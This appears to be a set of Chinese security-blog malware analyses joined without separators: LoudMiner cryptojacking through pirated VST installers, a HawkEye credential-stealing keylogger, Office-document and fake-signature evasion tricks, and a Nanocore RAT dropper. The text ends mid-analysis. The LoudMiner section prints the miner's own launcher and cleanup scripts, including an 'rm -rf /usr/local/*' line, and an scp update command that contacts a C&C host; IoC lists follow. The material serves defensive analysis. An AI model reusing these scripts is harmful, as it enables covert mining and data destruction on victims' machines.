介绍

在形形色色的加密货币挖矿程序中,LoudMiner显得有些不同寻常。LoudMiner于2018年8月被发现,主要针对macOS和Windows系统。它能通过一些虚拟软件,如macOS上的QEMU和Windows上的VirtualBox,在Tiny Core Linux虚拟机上进行加密货币挖掘活动——这种方式使之在面对不同操作系统时具有很强的适应性。LoudMiner常与盗版的VST(虚拟工作室技术)软件捆绑在一起,让下载的用户不知不觉中招。LoudMiner基于XMRig (一款门罗币挖矿程序),并用到了矿池,这让我们无法追溯潜在的交易过程。

分布

在撰写本文时,我们在一个WordPress站点上发现了137个VST相关应用程序(42个用于Windows,95个用于macOS),该站点的域名于2018年8月24日注册。第一个应用程序——用于Windows的Kontakt Native Instruments 5.7——也是在注册当天上传的。考虑到应用的数量,对它们逐个分析会有些不切实际,不过我们可以先把它们都视作恶意木马看待。

挖矿程序本身则不在此站点上,而是托管在另外29个外部服务器中,服务器可见文末的IoC列表。由于LoudMiner背后的操作人员时常对其做更新,我们很难跟踪到它的第一个版本。

LoudMiner之所以选择与音频制作软件绑定,我们猜测可能有以下几点原因,一是安装这些VST软件的机器往往具有良好的处理能力;二是音频处理的高CPU消耗可能会掩盖挖矿的踪迹,让用户难以察觉;此外,这些VST软件通常很复杂,可以借用它们大文件的外壳掩人耳目,伪装VM映像的存在。攻击者选择使用虚拟机而不是更精简的方案,这一决定虽不常见实则却非常有效。

以下是攻击者捆绑的一些VST软件样本,以及网站上诱使用户下载的一些“好评”:

· Propellerhead Reason

· Ableton Live

· Sylenth1

· Nexus

· Reaktor 6

· AutoTune

1.png

2.png

图1、图2:该站点管理员对用户的回复

用户反馈

我们观察到,也有一些用户在该站点反馈进程说qemu-system-x86_64在他们的Mac上占用了100%的CPU:

3.png

图3.用户报告#1(https://discussions.apple.com/thread/250064603)

4.png

图4.用户报告#2(https://toster.ru/q/608325)

名为“Macloni”的用户表示:

我将不得不重新安装OSX。问题可能是出在了Ableton Live 10身上,我没有从官方网站下载,结果在安装软件的同时也安上了挖矿程序,完全占据了我的电脑内存。

同时该用户指示出有2个进程——qemu-system-x86_64和tools-service——占用了25%的CPU资源且以root身份运行。

盗版软件分析

攻击者对macOS和Windows应用程序构想的总体思路是一样的:

· 首先,应用程序与虚拟化软件、Linux映像和用于实现持久性的附加文件捆绑在一起。

· 用户下载应用程序后按照说明进行安装。

· 先安装扬声器采集器,再安装实际的VST软件。

· LoudMiner隐藏自身,并在重启时变为持久性。

· 启动Linux虚拟机并开始挖掘工作。

· 虚拟机中的脚本与C&C服务器联系来更新矿机(配置和二进制文件)。

在分析不同的应用程序时,我们已经确定了四个版本的挖矿机,主要是通过它与实际软件、C&C服务器域捆绑在一起的方式,以及作者创建的版本字符串来区分。

3个macOS的版本

到目前为止,我们已经识别出这款恶意软件的三个macOS版本。它们都是将自身复制到/usr/local/bin,也都包含了installerdata.dmg中运行QEMU所需的依赖项,并对运行过程设置了适当的权限。每个挖矿机都可以同时运行两个映像,每个映像占用128 MB的RAM和一个CPU核。持久性则是通过将RunAtLoad设置为true,并在/Library/LaunchDaemons中添加plist文件来实现的;同时还将KeepAlive设置为true,以确保停止后进程重新启动。每个版本都有以下组件:

· QEMU Linux映像。

· 用于启动QEMU映像的Shell脚本。

· 守护进程,用于在启动时启动shell脚本并使其运行。

· 一个带有守护进程的CPU监视器shell脚本,它可以根据CPU使用情况和活动监视器进程是否正在运行来启动/停止挖掘。

CPU监视器脚本可以通过加载守护进程来启动挖掘活动,终止进程来结束挖掘。如果Activity Monitor进程正在运行,则挖掘将停止。此外,它会检查系统空闲了多长时间(以秒为单位):

ioreg -c IOHIDSystem | awk '/HIDIdleTime/ {print $NF/1000000000; exit}'

如果超过2分钟,则开始挖掘;如不到2分钟,则检查总CPU使用率:

ps -A -o %cpu | awk '{s+=$1} END {print s }'

除以CPU核数:

sysctl hw.logicalcpu |awk '{print $2 }')

如果大于85%,就停止挖掘。不同版本的脚本本身略有不同,但总体思路是相同的。

安装完成后,会删除所有挖矿机相关安装文件。

5.png

图5. Polyverse.Music.Manipulator.v1.0.1.macOS.dmg的安装

6.png

图6. Polyverse.Music.Manipulator.v1.0.1.macOS.dmg设置说明

版本1

下载的应用程序包中的挖矿机文件没有经过模糊处理或放在另一个包中; 它们与软件一起安装在下列位置:

1、/Library/Application Support/.Qemusys

· qemu-system-x86_64 – 干净的QEMU二进制文件

· sys00_1-disk001.qcow2 – Linux 映像 (初始)

· qemuservice – 通过qemu-system-x86_64二进制文件启动初始映像的shell脚本(参见脚本1代码段)

2、/Library/Application Support/.System-Monitor

system-monitor.daemon –通过system-monitor二进制文件启动第一个映像

3、/usr/local/bin

.Tools-Service

· sys00_1-disk001.qcow2 – Linux 映像(第二个)

· tools-service.daemon –通过tools-service二进制文件启动第二个映像

· cpumonitor – 根据空闲时间和CPU使用情况启动/停止挖掘

· system-monitor – qemu-system-x86_64二进制文件的副本

· tools-service – qemu-system-x86_64二进制文件的副本

4、/Library/LaunchDaemons

· buildtools.system-monitor.plist – 启动system-monitor.daemon

· buildtools.tools-service.plist – 启动tools-service.daemon

· modulesys.qemuservice.plist – 启动qemuservice

· systools.cpumonitor.plist – 启动cpumonitor

#!/bin/bash
function start {
pgrep "Activity Monitor"
if [ $? -eq 0 ]; then
launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist
else
/usr/local/bin/qemu-system-x86_64 -M accel=hvf --cpu host /Library/Application\ Support/.Qemusys/sys00_1-disk001.qcow2 -display none
fi
}
start;

脚本1. qemuservice shell脚本

复制依赖项后,将启动所有与矿机相关的守护程序,然后安装实际软件:

1.如果Activity Monitor进程正在运行,qemuservice将不会启动映像,并卸载它所启动的plist。

2.tools-service.daemon仅在qemu-system-x86_64进程未运行且睡眠45分钟后才会启动映像。

3.只有在检测到Intel i5,i7或i9 CPU时,System-monitor.daemon才会启动映像。

这些脚本使用相同的命令来启动QEMU映像,只是名称和映像路径不同。

与版本1挖矿机相关的截图:

7.png

图7.使用Little Snitch的QEMU的CPU消耗(来源:https://imgur.com/a/sc3u6kk)

上图来自Little Snitch,表示来自进程qemu-system-x86_64的某些连接被阻止。具体来说,hopto[.]org (一个免费的主机名服务)是挖矿机版本1使用的C&C。

版本2

挖矿机文件位于下载的应用程序包内的data_installer.pkg中。将先安装data_installer.pkg,其次再安装VST软件,且在安装之前,会将版本1删除并执行以下命令:

rm -rf /usr/local/*

如脚本2中的列表所示,它仅在检测到正在运行的qemu-system-x86_64进程时才会这样做。

#!/bin/bash
#Clear Old
function clear {
LGC=`ps aux |grep "qemu-system-x86_64" |wc -l`
if [ $LGC -ge 2 ]
Then
launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist
launchctl unload -w /Library/LaunchDaemons/com.buildtools.tools-service.plist
launchctl unload -w /Library/LaunchDaemons/com.buildtools.system-monitor.plist
launchctl unload -w /Library/LaunchDaemons/com.systools.cpumonitor.plist
rm -f /Library/LaunchDaemons/com.buildtools.system-monitor.plist
rm -f /Library/LaunchDaemons/com.modulesys.qemuservice.plist
rm -f /Library/LaunchDaemons/com.buildtools.tools-service.plist
rm -f /Library/LaunchDaemons/com.systools.cpumonitor.plist
rm -rf /Library/Application\ Support/.Qemusys
rm -rf /usr/local/bin/.Tools-Service
rm -rf /Library/Application\ Support/.System-Monitor/
rm -rf /usr/local/*
fi
exit 0
}
clear;

脚本2的 data_installer.pkg预安装脚本,用于删除版本1。

并创建以下临时文件:

/Users/Shared

· z1 – QEMU二进制文件

· z1.daemon – 使用QEMU二进制文件启动QEMU映像

· z1.qcow2  –  QEMU映像

· z1.plist  – 启动z1.daemon

· z3  –  CPU监视器脚本,与版本1 cpumonitor相比变化不大

· z3.plist  – 用于启动z3

· randwd  – 生成随机名称

复制依赖项后将安装矿机。这次使用randwd脚本随机化QEMU二进制文件、plists和目录的名称。挖矿机安装过程会创建z1,z1.daemon,z1.qcow2和z1.plist的两个副本。对于每个副本,会发生下列情况:

· 在/ Library / Application Support中创建具有随机名称的目录

· QEMU二进制文件z1具有与目录相同的名称,并被复制到/ usr / local / bin中

· z1.daemon(参见脚本3中的列表)和z1.qcow2以随机名称复制到此目录中

· z1.plist以名称com.<random_name>.plist复制到/ Library / LaunchDaemons中

#!/bin/bash
function start {
pgrep "Activity Monitor"
if [ $? -eq 0 ]; then
launchctl unload -w /Library/LaunchDaemons/com.AAAA.plist
else
/usr/local/bin/BBBB -M accel=hvf --cpu host /Library/Application\ Support/CCCC/DDDD -display none
fi
}
start;

脚本3. z1.daemon shell脚本

版本2比版本1更清晰简单。只有一个QEMU映像两个副本; 映像启动器脚本,守护进程和cpumonitor是相同的。尽管版本2随机化了文件和

目录,但它只能安装一次,因为安装时会在命令行中使用accel = hvf检查正在运行的进程。

从我们到目前为止检查到的版本2应用程序,data_installer.pkg的SHA1哈希始终是39a7e86368f0e68a86cce975fd9d8c254a86ed93。

版本3

挖矿机文件位于应用程序包内名为do.dmg的加密DMG文件中,安装DMG使用以下命令:

printf '%s\0' 'VeryEasyPass123!' | hdiutil attach -noverify /Users/Shared/instapack/do.dmg -stdinpass.

矿机DMG里有一个datainstallero.pkg包,再安装此软件包。

datainstallero.pkg与版本2的data_installer.pkg包内容大致相同,但datainstallero.pkg添加了两个混淆的脚本——clearpacko.sh和installpacko.sh,还混淆了以前的脚本randwd:

· clearpacko.sh用于删除版本2。

· installpacko.sh以与版本2相同的方式安装矿机,除了从脚本中删除注释之外。

· do.dmg的SHA1保持不变:b676fdf3ece1ac4f96a2ff3abc7df31c7b867fb9。

Linux映像

所有的版本都利用多个shell脚本来启动映像文件。shell脚本在引导时由plist执行,并保持活动状态。

版本1执行以下二进制文件(qemu-system-x86_64的副本)以启动QEMU映像:qemu-system-x86_64,system-monitor,tools-service。

版本2和3使用相同的命令,但二进制文件的文件名、Application Support中的目录和QEMU文件名是随机的。

所有版本都使用以下转换:

· -M accel = hvf使用Hypervisor(https://developer.apple.com/documentation/hypervisor)框架作为加速器。 HVF是在OS X 10.10中引入的,并且在2018年4月发布的QEMU 2.12中添加了对HVF的支持。

· -display none,以便虚拟机在没有图形界面的情况下运行。

由于未指定RAM量和CPU内核数量,这种情况下启动映像使用的是默认值:1个CPU内核和128MB RAM。所有版本都可以启动2个映像。

Windows(版本4)

从应用程序中提取的字符串中,我们定义了到目前为止所见的唯一Windows版本,其逻辑与macOS版本非常相似。用户下载的应用程序是破解的应用程序,加上封装为MSI安装程序的挖矿机。图8显示了运行破解的VST安装程序时,弹出的VirtualBox驱动安装信任窗口。

8.png

图8.弹出窗口

VirtualBox安装在它常规的文件夹(C:\Program Files\Oracle)中;但是,目录的属性被设置为“hidden”。之后安装程序将Linux映像和VBoxVmService(用于将VirtualBox虚拟机作为服务运行的Windows服务)复制到C:\ vms,这也是一个隐藏目录。安装完成后,安装程序将运行由BAT2EXE编译的批处理脚本(请参阅脚本4),以导入Linux映像并运行VmServiceControl.exe以将虚拟机作为服务启动。

@echo off
setlocal EnableExtensions EnableDelayedExpansion
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" setproperty machinefolder "%userprofile%\appdata\roaming"
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" import "c:\vms\tmp\sys00_1.ova"
xcopy /Y "C:\Windows\System32\Config\systemprofile\.VirtualBox" "C:\vms\.VirtualBox\"
"C:\vms\VmServiceControl.exe" -i
del /F "c:\vms\tmp\sys00_1.ova"

脚本4.用于将Linux虚拟机作为服务运行的批处理脚本 

此方法用于确保重启后的持久。实际上,VboxVmService附带了一个配置文件(参见脚本5),其中可以启用AutoStart选项,以便在机器启动时自动启动虚拟机。

[Settings]
VBOX_USER_HOME=C:\vms\.VirtualBox
RunWebService=no
PauseShutdown=5000
[Vm0]
VmName=sys00_1
ShutdownMethod=acpipowerbutton
AutoStart=yes

脚本5.VBoxVmService的配置文件,启用了AutoStart

Linux映像中包含的OVF文件描述了虚拟机的硬件配置(请参阅脚本6):它使用1GB的RAM和2个CPU核(最大使用率为90%)。

<Hardware>
<CPU count="2" executionCap="90">
<PAE enabled="true"/>
<LongMode enabled="true"/>
<X2APIC enabled="true"/>
<HardwareVirtExLargePages enabled="true"/>
</CPU>
<Memory RAMSize="1024"/>

脚本6.Linux映像的硬件配置

Linux映像

Linux映像是一个配置为运行XMRig的Tiny Core Linux 9.0,还有一些文件和脚本,以使挖掘程序不断更新。最有趣的文件是:

· /root/.ssh/{id_rsa,id_rsa.pub}  – 用于使用SCP从C&C服务器更新挖矿机的SSH对密钥。

· /opt/{bootsync.sh,bootlocal.sh}  – 从C&C服务器更新挖矿机并运行的系统启动命令(参见脚本7和8):

/usr/bin/sethostname box
/opt/bootlocal.sh 2>&1 > /dev/null &
echo "booting" > /etc/sysconfig/noautologin

脚本7.bootsync.sh

/mnt/sda1/tools/bin/idgenerator 2>&1 > /dev/null
/mnt/sda1/tools/bin/xmrig_update 2>&1 > /dev/null
/mnt/sda1/tools/bin/ccommand_update 2>&1 > /dev/null
/mnt/sda1/tools/bin/ccommand 2>&1 > /dev/null
/mnt/sda1/tools/bin/xmrig

脚本8. bootlocal.sh

· / mnt / sda1 / tools / bin  – 用于更新和运行挖矿机的主要文件和脚本。

· / mnt / sda1 / tools / xmrig  – 包含XMRig的源代码(来自GitHub(https://github.com/xmrig/xmrig))。

矿机的配置存储在/mnt/sda1/tools/bin/config.json中,主要包含用于矿池的域名和端口,具体取决于版本型号(请参阅IoC部分中的示例)。

更新机制由三个不同的脚本通过SCP(安全文件复制)执行,三个脚本分别是:

· xmrig_update  – 更新矿机的配置(config.json);

· ccommand  – 更新ccommand_update,xmrig_update(参见脚本9),updater.sh,xmrig;

· ccommand_update  – 更新ccommand。

从我们看到的情况来看,矿机的配置是每天更新一次的。

#!/bin/sh

ping -w 40 127.0.0.1
cd /mnt/sda1/tools/bin/ && scp -P 5100 -C -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null [email protected]:ctrl/cowboinvox`date +%Y%m%d` config.json.new && mv config.json config.json.bkp && mv config.json.new config.json

脚本9. xmrig_update

为了识别特定的挖掘会话,idgenerator脚本会创建一个包含机器的IP地址和日期的文件,并用update .sh脚本将其输出发送到C&C服务器。

保护方案

显然,要防范此类威胁,最好就是不要下载商业软件的盗版副本。除此之外,也有一些提示可以帮助您确定应用程序中是否包含了附加的代码:

· 一些不沾边的“附加”安装程序(在本例中为Oracle网络适配器)的信任弹出窗口。

· 没有安装的进程(本例中为QEMU或VirtualBox)却占用了大量的CPU。

· 有新服务添加到启动服务列表(Windows)或新的启动守护程序(macOS)中去。

· 一些奇怪域名的网络连接(例如system-update [.] info或system-check [.] services)。

IoC

hash

· macOS应用程序(版本1-3)

t1.jpg

· Windows应用程序(版本4)

t2.jpg

· Linux映像

t3.jpg

文件名

· macOS

/Library/Application Support/.Qemusys

/Library/Application Support/.System-Monitor

/usr/local/bin/{.Tools-Service, cpumonitor, system-monitor, tools-service}

/Library/LaunchDaemons/{com.buildtools.system-monitor.plist, com.buildtools.tools-service.plist, com.modulesys.qemuservice.plist, com.systools.cpumonitor.plist}

· Windows

C:\vms

主机名

vstcrack[.]com (137[.]74.151.144)

用于下载的主机(端口80,HTTP)

185[.]112.156.163

185[.]112.156.29

185[.]112.156.70

185[.]112.157.102

185[.]112.157.103

185[.]112.157.105

185[.]112.157.12

185[.]112.157.181

185[.]112.157.213

185[.]112.157.24

185[.]112.157.38

185[.]112.157.49

185[.]112.157.53

185[.]112.157.65

185[.]112.157.72

185[.]112.157.79

185[.]112.157.85

185[.]112.157.99

185[.]112.158.112

185[.]112.158.133

185[.]112.158.186

185[.]112.158.190

185[.]112.158.20

185[.]112.158.3

185[.]112.158.96

d-d[.]host (185[.]112.158.44)

d-d[.]live (185[.]112.156.227)

d-d[.]space (185[.]112.157.79)

m-m[.]icu (185[.]112.157.118)

用于更新的主机(通过SCP)

aly001[.]hopto.org (192[.]210.200.87, port 22)

system-update[.]is (145[.]249.104.109, port 5100)

用于挖掘的主机

system-update[.]info (185[.]193.126.114, port 443 or 8080)

system-check[.]services (82[.]221.139.161, port 8080)

背景

FortiGuard Labs最近捕获了一个由网络钓鱼邮件进行传播的恶意软件,经分析后发现它是HawkEye恶意软件的新变种。

HawkEye是一种键盘记录和窃取凭据的恶意软件。在过去几年经常能看到它隐藏在Word、Excel、PowerPoint、RTF等各类MS文件中,通过钓鱼邮件大肆传播的身影。在本文中,我将概述此HawkEye新变体功能上的演变。

分发和下载

下图是电子邮件内容,通过伪装成机票确认函,诱导目标受害者点击链接。

1.png

图1.电子邮件内容

图1所示的链接处包含一个7z格式的压缩文件,实际为HawkEye新变种。

我在初始分析时,发现URL不可用,浏览器中显示“404 Not Found”的消息。

浏览其主页面后发现,这原来是一个FTP服务,包含钓鱼活动的几个网络文件夹,其中大多数都有相同的恶意软件样本(图2)。

2.png

图2.主页面截图

7z文件解压后,检索到的EXE文件“TICKET%2083992883992AIR8389494VERVED37783PDF.exe”为HawkEye的新变种。

HawkEye启动

HawkEye启动后会从Microsoft .Net框架安装目录中生成一个挂起的子进程“RegAsm.exe”,这是一个用于程序集注册的工具。同时,HawkEye将PE文件解压到其内存中,然后将PE文件移动到“RegAsm.exe”中。动态提取的PE文件是HawkEye的主程序,我们将其命名为“HawkEye_RegAsm”用于区分。在“RegAsm.exe”恢复运行后,HawkEye_RegAsm才开始运行。

HawkEye_RegAsm是一个.Net编写的程序,由ConfuserEx v1.0.0封装保护。这给分析人员阅读和分析代码带来了很大的挑战,代码实际上是完全混淆的,如图3所示。

3.png

图3. HawkEye_RegAsm的模糊输入功能

睡眠10秒后,HawkEye_RegAsm开始在受害者的系统上工作。通过目前的分析,它似乎主要执行以下功能:

1.设置剪贴板记录器

2.设置键盘记录器

3.从.Net框架目录中生成另外两个子进程“vbc.exe”。

4.不时通过SMTP将收集的数据发送到电子邮件地址(每10分钟)。

HawkEye_RegAsm会启动一个线程来执行上述任务,每隔10分钟将其收集的信息发送到Yandex电子邮件地址。

HawkEye_RegAsm使用windows原生api(如SetWindowsHookEx、SetClipboardViewer等)设置剪贴板和键盘记录器,它的本地函数可以记录受害者在键盘上键入时的行为以及将数据复制到系统剪贴板时的行为。

图4显示了HawkEye_RegAsm从其键盘和剪贴板记录器收集的信息示例,以及事件发生时的软件标题。

4.png

图4.收集的剪贴板和键盘数据的示例

收集凭据

HawkEye_RegAsm执行的任务与RegAsm.exe类似,它产生两个挂起的子进程“vbc.exe”,子进程与RegAsm.exe位于同一目录中。HawkEye能动态地将两个PE文件提取到其内存中,然后将其复制到“vbc.exe”,再通过修改ThreadContext数据(调用API,SetThreadContext)并使其入口指向传输的PE文件。当“vbc.exe”恢复运行时HawkEye就能执行。这是恶意软件经常在正常进程后伪装自身的技巧。

两个“vbc.exe”进程负责从受害者的系统收集凭据——一个用于收集浏览器的凭据,另一个侧重于从电子邮件客户端和IM客户端窃取凭据和配置文件。注入“vbc.exe”的两个PE文件都具有相同的代码框架,它们首先调用函数来收集凭据并将其保存在内存中,接着读取收集的数据并对其进行格式化,再将其从命令行参数保存到tmp文件中。

图5显示了HawkEye调用CreateProcess API来启动“vbc.exe”进程的案例,其参数如下所示在“Locals”子选项卡中。可以看到“vbc.exe”的完整路径,“/ stext”“C:\ Users \ ********* \ AppData \ Local \ Temp \ tmpBE3D.tmp”“”是传递给它的参数。tmp文件名是随机的,它不同于两个“vbc.exe”进程,会暂时保存收集的凭据。

5.png

图5.调用CreateProcess启动“vbc.exe”时中断

这两个PE文件不受封装程序保护,也不是.Net编写的程序。

第一个“vbs.exe”从受害者的浏览器和IE的系统凭据管理器收集凭据。

在此案例中,HawkEye变体涉及以下浏览器:Microsoft Internet Explorer,Google Chrome,Apple Safari,Opera,Mozilla Sunbird,Mozilla Firefox,Mozilla Portable Thunderbird,Mozilla SeaMonkey,YandexBrowser,Vivaldi等。

图6显示了HawkEye恶意软件想要从浏览器的ASM代码中收集凭证的一些字符串。

然后,收集的凭据将从其命令行参数保存到tmp文件中。HawkEye_RegAsm会不断检查这个tmp文件,直到凭证收集完成。再之后HawkEye_RegAsm将此tmp文件的整个数据读入其内存并立即删除。

6.png

图6.第一个PE文件中定义的浏览器信息

“vbc.exe”中的第二个PE文件则是收集安装在受害者计算机上的电子邮件和IM软件客户端的配置文件及凭据信息。

目标包括:Qualcomm Eudora,Mozilla Thunderbird,MS Office Outlook,IncrediMail,Groupmail,MSNMessenger,Yahoo!Pager / Yahoo!Messenger和Windows Mail。

以下是HawkEye从我的测试机器上的Chrome浏览器中窃取的列表示例,包括:登录URL,浏览器名称,用户名,密码,创建时间以及提供信息的文件的完整路径。

7-1.png

7-2.png

图7.“vbc.exe”将收集的服务器地址信息保存到tmp文件

“vbc.exe”中的第二个PE文件不仅收集客户端的登录用户名和密码,还会收集配置文件信息,例如配方服务器地址、收件人服务器端口、协议类型(POP3)、SMTP服务器、SMTP端口等。 图7显示了当“vbc.exe”即将收集的收件人服务器地址写入其tmp文件时Ollydbg的屏幕截图。它一次只写一行。HawkEye_RegAsm最终读取相同的tmp文件,然后进行删除。

在测试机器上,我只安装了一个帐户的MS Outlook。最后显示测试帐户和服务器配置文件被收集并放入下图所示的结构中,然后被发送到攻击者的电子邮箱。

7-3.png

数据传输

现在让我们回到HawkEye_RegAsm的主进程,它控制着HawkEye的所有任务并发送受害者的凭证。在主程序中,它调用Thread.Sleep(600000),并在收集凭证时每10分钟暂停一次。也就是说,它每隔10分钟向攻击者报告一次收集到的数据。

它首先发送一个HTTP请求http://bot.whatismyipaddress.com来询问机器的公共IP。这是一种确保受害者的机器能够访问互联网的方法。如果公共IP没有回复,则会停止收集数据的发送过程。此外,IP出现在电子邮件主题中,以便识别受害者。

攻击者的电子邮件属于Yandex.mail中,当通过Yandex SMTP服务器发送收集到的数据时,将使用其电子邮件帐户和密码。这就是为什么我能够在跟踪主程序的同时获得攻击者的电子邮件凭证。在调试时,你可以看到图8中的屏幕截图。

8.png

图8.将收集的数据发送到攻击者的电子邮箱

每隔十分钟,它就会发送如图9所示的数据包,告诉攻击者用户使用的键盘记录器、剪贴板、浏览器凭证、IM、电子邮件客户端凭证和概要文件。

9.png

图9.通过SMTP将收集到的数据发送到攻击者的Yandex电子邮件地址

10.png

图10.攻击者的收获情况

访问攻击者的帐户,我们可以看到攻击者已经获得了什么信息,如图10所示。

解决方案

电子邮件中的原始URL已被FortiGuard Web过滤服务评为“恶意网站”;解压后的exe文件被FortiGuard Antivirus服务检测为“AutoIt / Injector.EAH!tr”。

样本SHA256值

[TICKET%2083992883992AIR8389494VERVED37783PDF.exe]

3E7AD2A554F89B2A5E52E5C4843111342182DA4409A038CF800570B65A13F875

[Ticketmasterconfirmation3883948383948394.7z]

BBB46F812126FAEB543B02D143EF450887A043185AF98210D8F827924B31CF7A

[TKT8839483993993fligh booking ticket confirmationupdate.7z]

F2B921726D728037F9BA0C63FB6C31F77983C3A6E3938B46C411E80C218A2E84

简介

在对网络犯罪分子攻击手段的分析过程中,我们会不断遇到他们各式各样的伎俩,用以绕过企业的安全防御机制,这些伎俩有些是先进的,有些看起来显得“过时”,即使如此,在大多时候,通过对这些技术的有效应用也能帮助犯罪分子进入受害者的电脑,渗透到公司的网络之中。

本篇文章旨在揭示目前被各类网络犯罪分子滥用的一些技术细节,以帮助企业、安全运营商和行业减轻它们的影响。

技术分析

我们将从最近分析的三个案例中,重点介绍网络犯罪分子和威胁组织目前用来逃避检测的一些技巧:前两个案例是与Office文档相关的技术,用于隐藏恶意payload并引诱用户打开后感染;第三个案例则涉及到二进制payload,通过滥用代码签名技术来逃避传统安全控制技术。

1.损毁的doc文件

t1.jpg

表1.样本信息

我们分析的第一个案例中,攻击者使用了一个“已损坏”的文档来诱使用户选择“恢复原始文件”,并在系统没有提示警告的情况下下载恶意payload。在此例中,攻击者利用了漏洞CVE-2017-0199,它允许文档在打开时下载并执行任意代码,从“hxxps:// www.protectiadatator [.biz/js/Oj1/smile.doc "处外部引用远程代码并执行,如下图所示。

1.PNG

图1.样本中的外部资源

通常情况下,打开像这样的武器化文档时,会弹出一个下图所示的窗口警告用户存在指向外部文件的链接。

2.png

图2.弹出窗口警告

看到这条警告的用户在选择删除文件后就可以避免感染,但攻击者聪明地将文档中的某些字节删除了,使警告窗口的内容变得不一样,同时没有影响到攻击行为。

4.PNG

图3.损坏的文件

用户打开文档后,MS Word显示的是“文档已损坏,请确认是否恢复”,诱导用户选择恢复。

4.PNG

图4.弹出窗口报告无法打开文档

单击“是”后,MS Word会自动恢复文件内容并启动漏洞利用,这将下载并执行攻击者安插的payload。

2.使用Office Developer Mode隐藏payload

第二个技巧则是将payload隐藏在MS Office developer控件对象中,该组件通常对终端用户是不可见的。实际上,在大多数Office安装中,默认情况下都是禁用developer选项卡,因此识别异常对象的存在会更加困难。

该恶意文件开启后如下图所示。

5.PNG

图5.经典网络钓鱼文档视图

宏代码分析显示,真实的payload藏在名为“Kplkaaaaaaaz”的对象中。

7.png

图6.嵌入在文档中的部分宏代码

用户启用宏之后,该隐藏对象显示为一个小文本框(图7),实际为Base64编码的payload。

7.png

图7.文档的修改视图

8.PNG

图8.提取的payload

通过该策略,恶意软件作者将可识别的payload移动到一个更难以检测的区域,在静态分析期间被检出的概率较低。

3.伪造签名

另一种被网络罪犯滥用的技术是“证书欺骗”,该技术能让恶意软件轻易绕过部分反病毒引擎。攻击者通过某些渠道将有效证书潜入恶意软件之中,将恶意软件伪装成合法的,我们在之前的文章《TA505武器之隐形电子邮件窃取器》中对此有过描述。还有些时候,即使是无效的证书也足以实现攻击目标,例如最近的Ursnif攻击活动

9.png

图9. Ursnif样本上的欺骗签名

使用证书欺骗技术,攻击者可以使用来自任何网站的任意证书签署任意可执行文件。作为研究案例,我们利用赛门铁克网站证书签署了的已知Emotet二进制文件,如下所示。

t2.jpg

表2.样本信息

t3.jpg

表3.样本信息

10.PNG

图10.是否有假证书的样本之间的比较

Microsoft SignTool工具能检出文件签名是无效的。

11.PNG

图11. SignTool检查报告显示证书是无效的

但是,这个技巧让VirusTotal检测率从36降低到20,甚至Symantec AV也没有将样本检测为恶意!

不过Chronicle Security也曾经说过,Virustotal并不是“不同防病毒产品之间的比较指标”,因此这个结果并不能表示Virustotal的适用性要大打折扣。准确地说,Virustotal提供了一个关于内部检测机制的线索,展示了攻击者如何绕过一些辨认上的逻辑,而不是整个AV解决方案。

12.png

图12.证书添加导致检测率降低

对两个样本的分析表明,添加证书不会影响恶意软件的功能部件,因此也不会影响其行为。

13.PNG

图13.比较有无证书的样本

结论

我们在本篇文章中所展示的技三种术只是威胁行为者众多绕过技术中的一部分,如今,即使这些技术已经众所周知,但它们仍然可以有效地降低检测率,达成犯罪分子的攻击目标。我们希望,企业和行业能更进一步加强对这些技术的关注,网络安全人员和网络罪犯之间就像是互相角逐的猫鼠,只有不断提高自身水平才能拉高攻击的门槛和成本。

简介

网络犯罪分子常常会采用多层的加密或混淆技术来逃避安全产品的检测。对加密器和封装器的使用在当今恶意软件领域正变得越来越流行,它们不仅能为恶意代码提供所谓的“FUD”(完全无法检测)功能,并且还能隐藏额外的payload。

近日,Cybaze-Yoroi ZLab发现了一类有趣的样本,它是Nanocore远程管理工具(RAT)的变种之一,用到了Delphi封装器。下面是Yoroi实验室对此样本的分析。

技术分析

Nanocore RAT是一种“通用的”恶意软件,通过操作它的客户端进行攻击对一般人而言没什么太大难度。此次攻击事件中,攻击者瞄准了意大利的奢侈品行业,攻击由一封伪装成来自银行的钓鱼邮件开始。

1.png

图1:部分截取的钓鱼邮件

附件是一个7z格式的存档文件,包含一个Adobe Acrobat图标的有效PE文件,看来攻击者试图通过一个简单的伎俩来让用户相信它是一个合法的PDF文件。该PE可执行文件信息如下:

t1.jpg

表1:Nanocore dropper/ NanoCore RAT的静态信息

接着我们在样本上提取了一些静态信息:

2.png

图2:有关“trasferimento.exe”dropper / NanoCore RAT的信息

该样本是用“BobSoft Mini Delphi”编译器编译的,有两个重要特征:一是高水平的熵; 二是可执行文件中伪造的编译时间戳。

执行恶意软件时,我们注意到恶意软件会执行一些检查来逃避检测。

3.png

图3:恶意软件检查的进程

上图展示了恶意软件所检查的一些进程,此操作是通过使用经典的Win32 API调用“CreateToolhelp32Snapshot”和“Process32Next”来执行的。

4.png

图4:用于检查打开工具的API调用

如果检查的进程中没有一个处于活动状态,恶意软件就可以继续进行实际的感染:将Nanocore RAT的实际payload写入“%TEMP%”文件夹中。

5.png

图5:由加载程序和相关API调用编写的NanoCore payload

payload会进一步加载到内存中,有趣的是,该payload在没有经过任何加密或混淆。

6.png图6:嵌入在“trasferimento.exe”样本资源中的有效负载与写入%TEMP%文件夹的“non.exe”之间的比较

如上图所示,“trasferimento.exe”Delphi包装器有很多嵌入式资源(左侧),其中一个包含整个Nanocore RAT的payload。右侧我们列出了一个名为“2035”的资源和真实payload之间的差异分析,“2035”左上角黄色突出的是要在机器上植入的payload名称——“non.exe”,后续代码是相同的,也没有任何保护。“trasferimento.exe”组件运行计划任务以保证其持久性。

7.png

图7:恶意软件设置的任务调度程序

此时,恶意软件会创建一个带有伪随机名称的xml文件,该名称包含其在计算机上持久性的配置。创建此文件后,恶意软件会生成“non.exe”进程,然后通过以下命令行重新生成自身。

schtasks.exe” /create /f /tn “IMAP Subsystem” /xml “C:\Users\admin\AppData\Local\Temp\tmpC5A7.tmp”schtasks.exe” /create /f /tn “IMAP Subsystem” /xml “C:\Users\admin\AppData\Local\Temp\tmpCB59.tmp”

xml配置文件的主体如下:

